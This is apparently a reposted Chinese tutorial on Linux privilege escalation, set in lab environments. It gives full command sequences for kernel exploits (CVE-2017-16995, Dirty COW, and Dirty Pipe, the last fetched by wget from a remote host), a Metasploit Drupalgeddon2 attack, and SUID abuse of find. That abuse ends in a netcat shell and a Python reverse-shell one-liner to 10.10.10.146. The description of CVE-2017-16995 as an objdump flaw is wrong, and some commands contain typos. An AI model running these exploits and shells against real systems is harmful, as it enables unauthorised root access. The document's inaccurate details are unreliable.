Linux内核漏洞提权

news2024/11/14 14:46:49

目录

Linux提权辅助工具

内核漏洞本地用户提权 - linux-exploit-suggester测试

内核漏洞Web用户提权 - 利用脏牛dcow

内核漏洞本地用户提权 - 利用DirtyPipe(脏管)

配置安全SUID提权


Linux提权辅助工具

这些工具都是C\C++编写的,需要在目标的Linux机器进行编译后再运行,所以再使用工具时的第一步就是把工具进行上传。

下面的工具前两个都不太靠谱,测试效果不理想,主要使用后面两个

综合类探针

https://github.com/liamg/traitor

自动化提权

https://github.com/AlessandroZ/BeRoot

用于检查常见的错误配置,以找到提升我们权限的方法。它的主要目标不是实现主机的配置评估(列出所有服务、所有进程、所有网络连接等),而是只打印已发现的可能提升我们特权的信息。

信息收集

https://github.com/rebootuser/LinEnum

https://github.com/sleventyeleven/linuxprivchecker

漏洞探针

https://github.com/mzet-/linux-exploit-suggester

https://github.com/jondonas/linux-exploit-suggester-2

linux-exploit-suggester——Linux 提权审计工具

用法:

脚本先上传到目标服务器/tmp目录下
cd /tmp
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

会检测到当前系统可能存在的漏洞,返回信息比较多,存在误报

linux-exploit-suggester-2

用法:perl linux-exploit-suggester-2.pl

返回信息相对精简,误报几率相对少

二进制文件提权命令查询平台

Linux:https://gtfobins.github.io/

Windows:https://lolbas-project.github.io/


内核漏洞本地用户提权 - linux-exploit-suggester测试

测试环境:这里使用的演示环境为墨者学院的Ubuntu 16.04漏洞复现(CVE-2017-16995)演示环境。

提权过程:连接-获取可利用漏洞-下载并上传exp-编译exp-给权限执行

ssh连接本地低权限用户

连接上去之后,id查看hack用户的uid为1001,属于普通用户。

上传漏洞探针linux-exploit-suggester2并执行,发现了4个可能被利用的漏洞。

运行工具:

$ ./les.sh

$ ./linux-exploit-suggester-2.pl

尝试利用漏洞CVE-2017-16995

CVE-2017-16995是一个堆溢出漏洞,存在于GNU Binutils的objdump工具中。该漏洞允许攻击者通过精心构造的恶意文件,利用objdump工具对该文件进行解析时执行恶意代码,从而导致远程代码执行或拒绝服务攻击。

漏洞的原理涉及到objdump工具在解析ELF(Executable and Linkable Format,可执行与可链接格式)文件时的一个缓冲区溢出问题。

打开https://www.exploit-db.com/exploits/45010可以查看漏洞利用详情。

下载exp:https://github.com/Jewel591/Privilege-Escalation

上传 45010.c 到目标机器上进行编译,提权成功。

gcc 45010.c -o 45010
chmod +x 45010
./45010
id

内核漏洞Web用户提权 - 利用脏牛dcow

靶场地址:Lampião: 1 ~ VulnHub

百度网盘 请输入提取码

内核提权整个过程:vulnhub靶机-探针目标-CMS漏洞利用-脚本探针提权漏洞-利用内核提权-GG

内核漏洞提权过程:寻可用-下载exp-上传exp到/tmp-编译exp-执行(无权限用chmod)

nmap 扫描到靶机地址以及对应开放服务 根据页面识别为Drupal框架

打开kali,ifconfig找到自己的IP为192.168.76.132。

扫描同网段的IP地址,扫描出来一个80端口

nmap 192.168.76.0/24

 打开看一下

然后对80端口所在的192.168.76.141目标IP进行全端口扫描,又扫描出来一个1898端口。

nmap -p1-65535 192.168.76.141

打开看一下,发现是一个web入口。

拉到页面最下方,发现一行字:Powered by Drupal

打开msf,搜索Drupal,发现了一些漏洞利用。找一个脚本,尝试利用一下

search drupal

use exploit/unix/webapp/drupalgeddon2
set lhost 192.168.76.141
set lport 1898
exploit

成功拿到web权限

脚本探针提权漏洞+利用内核提权,上传一个漏洞探针脚本linux-exploit-suggester

执行脚本 探针一下,检测出一个脏牛漏洞。

可以直接下载相关exp(缺点是下载后文件名字就是40611,需要手动修改后缀进行后续的执行) 

这里我们从GitHub上下载一个exp,上传exp到目标服务器,编译,执行,成功修改root密码。

//exp下载地址:https://github.com/gbonacini/CVE-2016-5195
 
upload /tmp/40837.cpp /tmp/40837.cpp
g++ -Wall -pedantic -o2 -std=c++11 -pthread -o dcow 40837.cpp -lutil
python -c 'import pty;pyt.spawn("/bin/bash")'
./dcow

接下来就可以输入用户名密码登录,拿到flag。

内核漏洞本地用户提权 - 利用DirtyPipe(脏管)

Dirty Pipe(CVE-2022-0847)
5.8<=Linux kernel<5.16.11/5.15.25/5.10.102

在对方服务器上运行

wget https://haxx.in/files/dirtypipez.c --no-check-certificate
gcc -o dirtypipez dirtypipez.c
./dirtypipez /usr/bin/su  #任何具体suid权限的文件均可
id

配置安全SUID提权

SUID(Set User ID)是一种特殊权限标志,用于指定可执行文件在执行时将使用文件所有者的权限而不是执行者自身的权限。当SUID权限被设置在一个可执行文件上时,执行该文件的用户将以文件所有者的身份执行,即使该用户没有相应的权限。

SUID权限的作用是允许普通用户执行某些需要特权权限的程序,而不需要将整个程序设置为具有特权权限。这样可以减少系统中特权程序的数量,从而降低了潜在的安全风险。

漏洞成因:chmod u+s给与了suid、chmod u-s删除了suid

本来是普通用户执行普通程序,但是一旦给了程序suid权限,程序在运行中就会以root 权限执行,从而提升权限。

举例:test.sh原来的权限是-rwxr-xr-x,当执行chmod u+s test.sh命令后,它的权限就会变成-rwsr-xr-x。此时,即使你用普通用户身份运行test.sh文件,实际上它却是以root权限运行的。

提权过程:探针是否有SUID(手工或脚本)-特定SUID利用-利用成功

思路:

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

已知的可用来提权的程序如下:

  1. nmap
  2. vim
  3. find
  4. bash
  5. more
  6. less
  7. nano
  8. cp

使用冰蝎,添加后门。msf+冰蝎配合反弹shell

反弹成功,取得一个web权限

探针是否有SUID(手工或脚本)。两种方法:脚本或者手工。

方法1:脚本。上传LinEnum.sh文件并执行,发现了一些suid文件,并从中找到了可以用于提权的find。由于find被配置为使用 SUID 权限运行,那么所有通过 find 执行的命令都将以 root 身份执行。

方法2:手工。有3条命令

#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

执行以下命令,确认以root身份运行。即 当我们使用 find pentestlab -exec <命令> \;  的形式运行命令时,使用的是root身份。

touch xiaodi
find xiaodi -exec whoami \;

接下来就是反弹shell

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

把root shell弹给本地的一个端口

这时本地5555就是以恶个root权限的命令行

这种方式有个缺陷:注:linux下nc版本默认低版本 没有-e参数

利用Python反弹:linux自带python环境

find whgojp -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.146",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
nc -lvp 7777

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/594505.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vmware虚拟机设置双网卡

文章目录 1. 配置虚拟机NAT模式2. 配置虚拟机桥接网络2.1 通过USB网卡2.1.1 配置虚拟机桥接网卡ip:2.1.2 配置windows主机桥接网卡ip:2.1.3 配置板子ip: 2.2 通过路由器2.2.1 配置板子ip: NAT 网卡&#xff1a;Ubuntu 通过它上网&#xff0c;只要 Windows 能上网&#xff0c;Ub…

北邮22信通:实验六 由运放器构成的音频放大电路设计、仿真、测试报告

北邮22信通一枚~ 持续更新模电实验讲解 关注作者&#xff0c;解锁更多邮苑模电实验报告~ 获取更多文章&#xff0c;请访问专栏&#xff1a; 北邮22信通——电子电路_青山如墨雨如画的博客-CSDN博客 目录 实验目的&#xff1a; 设计要求&#xff1a; *补充&#xff1…

AI最新资讯

AI最新资讯 1.画图2.修图3.3D建模4.openai调用5.自媒体工具6.自动化网页制作 自从gpt火了之后&#xff0c;AIGC就更新很快&#xff0c;许多好用的插件都太多了&#xff0c;所以记录一下&#xff0c;方便之后用到。 1.画图 1.midjourney和playgroundAI我之前博客有写过。 2.最近…

Web基本漏洞--文件上传漏洞

目录 一、文件上传漏洞介绍 1.文件上传漏洞原理 2.文件上传漏洞识别 3. 攻击方式 4.文件上传漏洞的危害 5.文件上传漏洞的防御措施 6.文件上传漏洞的绕过 一、文件上传漏洞介绍 1.文件上传漏洞原理 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺…

ActiveMQ消息中间件简介

一、ActiveMQ简介 ActiveMQ是Apache出品&#xff0c;最流行的&#xff0c;能力强劲的开源消息总线。ActiveMQ是一个完全支持JMS1.1和J2EE1.4规范的JMS Provide实现。尽管JMS规范出台已经是很久的事情了&#xff0c;但是JMS在当今的J2EE应用中仍然扮演这特殊的地位。 二、Active…

3Dmax云渲染如何使用?一文带你了解云渲染

3ds Max是Autodesk公司推出的一款专业计算机图形和三维动画软件&#xff0c;被广泛应用于建筑、室内设计、电影、游戏、广告、工业设计等领域。它提供丰富的模型建模、纹理编辑、灯光设置、渲染等功能&#xff0c;可以制作出高质量的三维模型、动画和静态渲染。它具有强大的扩展…

【1++的Linux】之Linux权限

&#x1f44d;作者主页&#xff1a;进击的1 &#x1f929; 专栏链接&#xff1a;【1的Linux】 文章目录 一&#xff0c;什么是Linux权限&#xff1f;二&#xff0c;Linux权限管理2.1 文件访问者的分类2.2 文件类型和访问权限2.3 修改文件权限2.4 掩码的作用及其设置 三&#xf…

前沿技术|人工智能的崛起和发展历程

前言&#xff1a; 人工智能的作用是使计算机能够模仿人类智能和学习能力&#xff0c;从而实现自动化、智能化和优化决策的目标。 文章目录 人工智能背景介绍发展状态未来展望 总结 人工智能 背景 人工智能&#xff08;Artificial Intelligence&#xff0c;AI&#xff09;的产生…

29Maven高级

一、分模块设计与开发 1、介绍 2、tlias-pojo模块 然后把pojo复制过去。pom中加入lombok依赖 引入tlias-pojo依赖 3、tlias-utils模块 tlias-utils的pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.…

高频面试八股文原理篇(一)hashmap原理相关

目录 引言 面试题&#xff1a;hashmap原理 原理 JDK7时HashMap的数据结构 jdk8中hashMap数据结构 hashMap怎么设置初始值的大小 jdk7和jdk8中HashMap的区别 为什么放在hashMap集合key部分的元素需要重写equals方法&#xff1f; concurrenthashmap为什么线程安全 高频面…

Linux文件的扩展属性

文件属性 Linux文件属性分为常规属性与扩展属性&#xff0c;其中扩展属性有两种&#xff1a;attr与xattr. 一般常规的文件属性由stat API 读取&#xff0c;一般是三种权限&#xff0c;ower, group&#xff0c;时间等。 扩展属性attr 用户态API ioctl(fd, FS_IOC32_SETFLAGS …

从零开始学习JavaScript:轻松掌握编程语言的核心技能②

从零开始学习JavaScript&#xff1a;轻松掌握编程语言的核心技能② 一&#xff0c;JavaScript 函数1.1 JavaScript 函数语法1.2 局部 JavaScript 变量1.3 全局 JavaScript 变量 二&#xff0c;JavaScript 作用域2.1JavaScript 局部作用域 三&#xff0c;JavaScript 事件3.1HTML…

Linux——磁盘文件的理解 + inode详解 + 软硬链接 +动静态库

索引 磁盘文件的理解inode软硬链接动静态库理解动态链接与地址无关生成动静态库使用静态库使用动态库动态链接再次理解&#xff01; 磁盘文件的理解 之前讲述的都是内存级的文件&#xff0c;但是系统中最多的还是磁盘级的文件&#xff0c;大量的文件自然也需要被管理&#xff…

【算法】08 耦合 Lorenz 63 模式的参数估计实验

摘要 本实验通过建立基于耦合 Lorenz 63 模式的孪生实验框架&#xff0c;使用集合调整卡尔曼滤波器EAKF实现参数估计&#xff0c;测试参数估计开始的不同阶段、观测误差、同化频率、协方差膨胀等方法细节对于参数估计结果的影响。 耦合 Lorenz 63 模式 Lorenz 63 模式是Lore…

Postman实战:轻松搞定接口自动化测试

随着移动互联网的发展&#xff0c;接口自动化测试已经成为软件测试领域中不可或缺的一部分。而作为最流行的API开发工具之一&#xff0c;Postman凭借其简单易用、功能强大的特点赢得了越来越多开发者和测试人员的青睐。 想要掌握Postman的接口自动化测试技能&#xff0c;只需要…

JDK 下载与安装

首先下载 jdk 最新版本。可以去 http://java.sun.com/j2se/1.4.2/download.html 版本一&#xff1a;适合 win7oracle 版本 java 下载最新的 jdk 版本&#xff0c; 打开界面后。选择 J2SE v 1.4.2_08 SDK 拦目下面的 Download J2SE SDK&#xff0c; 然后选择 Accept License…

6设计指令流水线-3【FPGA模型机课程设计】

6设计指令流水线-3【FPGA模型机课程设计】 前言推荐6设计指令流水线-3安排测试与结果 指令流水线理论MIPS的一种简单实现基本的MIPS流水线 指令流水线实现MIPS五段流水CPU设计 基于单周期CPU的流水线设计乘除流水线的设计原子流水线的设计代码设计EX_Mem 附录0 框架 最后 前言 …

理论+实操|一文掌握 RFM 模型在客户数据洞察平台内的落地实战

确定用户价值是整个用户运营过程中极其重要的一环。传统的工作流程中&#xff0c;业务人员向数据部门提出数据需求&#xff0c;等待返回结果后再进行价值分析是主要的准备工作&#xff0c;但这个过程非常耗时。为了提高工作效率&#xff0c;业务人员经常会基于自己对用户的理解…

链表【+逆序链表】、循环队列、堆栈讲解(链表头和尾插法)

文章目录 一、链表&#xff08;1&#xff09;链表简单介绍&#xff08;2&#xff09;链表的创建&#xff08;3&#xff09;数据的插入【1】头插法【2】尾插法 &#xff08;4&#xff09;链表的删除&#xff08;5&#xff09;源代码实现 二、队列&#xff08;循环队列&#xff0…